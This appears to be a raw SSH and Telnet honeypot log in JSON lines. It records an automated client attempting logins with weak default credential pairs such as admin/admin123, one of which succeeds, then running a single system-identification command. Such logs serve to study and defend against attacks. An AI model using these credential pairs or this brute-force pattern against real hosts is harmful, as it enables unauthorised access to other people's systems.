{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:25.494470Z","src_ip":"192.109.200.237","session":"66f56551aa82","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:25.497971Z","src_ip":"192.109.200.237","session":"66f56551aa82","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:25.587762Z","src_ip":"192.109.200.237","session":"66f56551aa82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:25.593152Z","src_ip":"192.109.200.237","session":"66f56551aa82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":47494,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d69e20ea2e0","protocol":"ssh","message":"New connection: 192.109.200.237:47494 (159.203.135.109:22) [session: 3d69e20ea2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:28.578636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:28.583418Z","src_ip":"192.109.200.237","session":"3d69e20ea2e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:28.665628Z","src_ip":"192.109.200.237","session":"3d69e20ea2e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:28.939154Z","src_ip":"192.109.200.237","session":"3d69e20ea2e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":36026,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d8f926269e4","protocol":"telnet","message":"New connection: 50.6.8.71:36026 (10.17.0.5:23) [session: 0d8f926269e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:29.276513Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:30.024606Z","src_ip":"192.109.200.237","session":"3d69e20ea2e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53708,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8876e20a993","protocol":"ssh","message":"New connection: 192.109.200.237:53708 (159.203.135.109:22) [session: a8876e20a993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:32.279681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:32.282982Z","src_ip":"192.109.200.237","session":"a8876e20a993","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:32.367101Z","src_ip":"192.109.200.237","session":"a8876e20a993","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:32.616981Z","src_ip":"192.109.200.237","session":"a8876e20a993","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:33.708898Z","src_ip":"192.109.200.237","session":"a8876e20a993","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53714,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cba1a5fe658","protocol":"ssh","message":"New connection: 192.109.200.237:53714 (159.203.135.109:22) [session: 5cba1a5fe658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:35.861580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:35.866328Z","src_ip":"192.109.200.237","session":"5cba1a5fe658","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:35.948728Z","src_ip":"192.109.200.237","session":"5cba1a5fe658","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123456","message":"login attempt [ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:36.195718Z","src_ip":"192.109.200.237","session":"5cba1a5fe658","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.4300057888031,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:37.097575Z","src_ip":"50.6.8.71","session":"9d1296f802b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:37.389377Z","src_ip":"192.109.200.237","session":"5cba1a5fe658","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53726,"dst_ip":"159.203.135.109","dst_port":22,"session":"8120c92fb8cf","protocol":"ssh","message":"New connection: 192.109.200.237:53726 (159.203.135.109:22) [session: 8120c92fb8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:39.369192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:39.374031Z","src_ip":"192.109.200.237","session":"8120c92fb8cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:39.455937Z","src_ip":"192.109.200.237","session":"8120c92fb8cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:39.702508Z","src_ip":"192.109.200.237","session":"8120c92fb8cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:40.787814Z","src_ip":"192.109.200.237","session":"8120c92fb8cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.69987106323242,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:42.586654Z","src_ip":"50.6.8.71","session":"cd2728a97523","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55454,"dst_ip":"159.203.135.109","dst_port":22,"session":"4953d726d64b","protocol":"ssh","message":"New connection: 192.109.200.237:55454 (159.203.135.109:22) [session: 4953d726d64b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:42.924580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:42.928809Z","src_ip":"192.109.200.237","session":"4953d726d64b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:43.011799Z","src_ip":"192.109.200.237","session":"4953d726d64b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48302,"dst_ip":"10.17.0.5","dst_port":23,"session":"10d8015317f4","protocol":"telnet","message":"New connection: 50.6.8.71:48302 (10.17.0.5:23) [session: 10d8015317f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:43.171538Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:43.352656Z","src_ip":"192.109.200.237","session":"4953d726d64b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:44.437739Z","src_ip":"192.109.200.237","session":"4953d726d64b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55494,"dst_ip":"159.203.135.109","dst_port":22,"session":"48b434f8d287","protocol":"ssh","message":"New connection: 192.109.200.237:55494 (159.203.135.109:22) [session: 48b434f8d287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:46.419743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:46.423559Z","src_ip":"192.109.200.237","session":"48b434f8d287","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:46.504991Z","src_ip":"192.109.200.237","session":"48b434f8d287","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:46.750910Z","src_ip":"192.109.200.237","session":"48b434f8d287","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:46.964951Z","src_ip":"192.109.200.237","session":"48b434f8d287","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:46.968464Z","src_ip":"192.109.200.237","session":"48b434f8d287","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:47.053386Z","src_ip":"192.109.200.237","session":"48b434f8d287","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:47.057786Z","src_ip":"192.109.200.237","session":"48b434f8d287","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":55514,"dst_ip":"159.203.135.109","dst_port":22,"session":"c13441774f8f","protocol":"ssh","message":"New connection: 192.109.200.237:55514 (159.203.135.109:22) [session: c13441774f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:49.781299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:49.785817Z","src_ip":"192.109.200.237","session":"c13441774f8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:49.871153Z","src_ip":"192.109.200.237","session":"c13441774f8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":53916,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd835e778a39","protocol":"ssh","message":"New connection: 80.94.92.184:53916 (159.203.135.109:22) [session: dd835e778a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:50.049804Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:50.117054Z","src_ip":"192.109.200.237","session":"c13441774f8f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:43:50.643670Z","src_ip":"80.94.92.184","session":"dd835e778a39","protocol":"ssh"}
